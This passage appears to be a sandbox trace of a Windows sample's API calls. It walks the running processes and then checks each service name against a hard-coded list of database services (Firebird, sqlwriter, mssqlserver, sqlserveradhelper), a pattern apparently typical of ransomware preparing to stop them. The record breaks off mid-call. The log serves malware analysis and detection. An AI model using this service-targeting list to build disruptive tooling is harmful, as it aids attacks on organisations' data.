lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0290.683] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x314 [0290.687] Process32FirstW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.688] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0290.689] lstrlenW (lpString="System") returned 6 [0290.689] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0290.689] lstrlenW (lpString="smss.exe") returned 8 [0290.690] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.690] lstrlenW (lpString="csrss.exe") returned 9 [0290.690] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0290.753] lstrlenW (lpString="wininit.exe") returned 11 [0290.753] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.754] lstrlenW (lpString="csrss.exe") returned 9 [0290.755] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0290.755] lstrlenW (lpString="winlogon.exe") returned 12 [0290.755] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0290.756] lstrlenW (lpString="services.exe") returned 12 [0290.756] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0290.757] lstrlenW (lpString="lsass.exe") returned 9 [0290.757] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0290.758] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0290.758] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0290.758] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0290.759] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.759] lstrlenW (lpString="svchost.exe") returned 11 [0290.759] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.760] lstrlenW (lpString="svchost.exe") returned 11 [0290.760] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0290.761] lstrlenW (lpString="dwm.exe") returned 7 [0290.761] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.762] lstrlenW (lpString="svchost.exe") returned 11 [0290.762] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.763] lstrlenW (lpString="svchost.exe") returned 11 [0290.763] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.763] lstrlenW (lpString="svchost.exe") returned 11 [0290.763] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.764] lstrlenW (lpString="svchost.exe") returned 11 [0290.764] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.765] lstrlenW (lpString="svchost.exe") returned 11 [0290.765] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.766] lstrlenW (lpString="svchost.exe") returned 11 [0290.766] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.767] lstrlenW (lpString="svchost.exe") returned 11 [0290.767] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.767] lstrlenW (lpString="svchost.exe") returned 11 [0290.767] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.768] lstrlenW (lpString="svchost.exe") returned 11 [0290.768] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.769] lstrlenW (lpString="svchost.exe") returned 11 [0290.769] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0290.770] lstrlenW (lpString="spoolsv.exe") returned 11 [0290.770] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.771] lstrlenW (lpString="svchost.exe") returned 11 [0290.771] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0290.772] lstrlenW (lpString="audiodg.exe") returned 11 [0290.772] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0290.773] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0290.773] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0290.773] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0290.773] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0290.774] lstrlenW (lpString="Memory Compression") returned 18 [0290.774] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.775] lstrlenW (lpString="svchost.exe") returned 11 [0290.775] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0290.776] lstrlenW (lpString="sihost.exe") returned 10 [0290.776] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0290.777] lstrlenW (lpString="taskhostw.exe") returned 13 [0290.777] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0290.777] lstrlenW (lpString="msoia.exe") returned 9 [0290.778] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0290.778] lstrlenW (lpString="explorer.exe") returned 12 [0290.778] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0290.779] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0290.779] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0290.780] lstrlenW (lpString="SearchUI.exe") returned 12 [0290.780] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0290.781] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0290.781] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0290.781] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0290.782] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0290.782] lstrlenW (lpString="chrome64b.exe") returned 13 [0290.782] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0290.783] lstrlenW (lpString="dllhost.exe") returned 11 [0290.783] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0290.784] lstrlenW (lpString="dllhost.exe") returned 11 [0290.784] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0290.835] lstrlenW (lpString="chrome64b.exe") returned 13 [0290.835] Process32NextW (in: hSnapshot=0x314, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 0 [0290.836] CloseHandle (hObject=0x314) returned 1 [0290.836] Sleep (dwMilliseconds=0x1f4) [0291.358] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x699f78 [0291.358] EnumServicesStatusExW (in: hSCManager=0x699f78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0291.359] GetLastError () returned 0xea [0291.359] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 0x460c0e0 [0291.359] EnumServicesStatusExW (in: hSCManager=0x699f78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x460c0e0, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x460c0e0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0291.360] CloseServiceHandle (hSCObject=0x699f78) returned 1 [0291.360] lstrlenW (lpString="Appinfo") returned 7 [0291.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0291.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0291.360] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0291.360] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0291.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0291.360] lstrlenW (lpString="AppXSvc") returned 7 [0291.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0291.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0291.360] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0291.360] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0291.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0291.360] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0291.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0291.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0291.360] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0291.360] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0291.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0291.361] lstrlenW (lpString="Audiosrv") returned 8 [0291.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0291.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0291.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0291.361] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0291.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0291.361] lstrlenW (lpString="BFE") returned 3 [0291.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0291.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0291.361] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0291.361] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0291.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0291.361] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0291.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0291.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0291.361] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0291.361] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0291.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0291.361] lstrlenW (lpString="CDPSvc") returned 6 [0291.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0291.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0291.361] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0291.361] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0291.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0291.361] lstrlenW (lpString="ClickToRunSvc") returned 13 [0291.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0291.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0291.361] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0291.362] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0291.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0291.362] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0291.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0291.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0291.362] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0291.362] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0291.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0291.362] lstrlenW (lpString="CryptSvc") returned 8 [0291.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0291.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0291.362] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0291.362] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0291.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0291.362] lstrlenW (lpString="DcomLaunch") returned 10 [0291.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0291.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0291.362] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0291.362] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0291.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0291.362] lstrlenW (lpString="DeviceAssociationService") returned 24 [0291.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0291.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0291.362] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0291.362] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0291.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0291.362] lstrlenW (lpString="Dhcp") returned 4 [0291.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0291.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0291.363] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0291.363] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0291.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0291.363] lstrlenW (lpString="Dnscache") returned 8 [0291.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0291.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0291.363] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0291.363] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0291.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0291.363] lstrlenW (lpString="DPS") returned 3 [0291.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0291.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0291.363] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0291.363] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0291.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0291.363] lstrlenW (lpString="DusmSvc") returned 7 [0291.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0291.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0291.363] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0291.363] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0291.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0291.363] lstrlenW (lpString="EventLog") returned 8 [0291.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0291.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0291.364] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0291.364] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0291.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0291.364] lstrlenW (lpString="EventSystem") returned 11 [0291.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0291.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0291.364] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0291.364] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0291.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0291.364] lstrlenW (lpString="FontCache") returned 9 [0291.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0291.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0291.364] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0291.364] lstrcmpiW 